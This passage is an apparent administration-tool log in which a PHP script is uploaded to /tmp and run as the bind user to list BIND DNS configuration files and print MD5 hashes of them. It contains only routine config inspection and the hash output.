	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:19:20: 

runuser -l bind -s /bin/bash -c '/tmp/pkp355522; rm /tmp/pkp355522'

2026-04-24 13:19:20: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-24 13:19:24: Establishing a connection
2026-04-24 13:19:24: 

PUT: /tmp/pkp271204

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-24 13:19:24: 

runuser -l bind -s /bin/bash -c '/tmp/pkp271204; rm /tmp/pkp271204'

2026-04-24 13:19:24: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 46eba24f57bfe61370317b56ed12e7eb
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
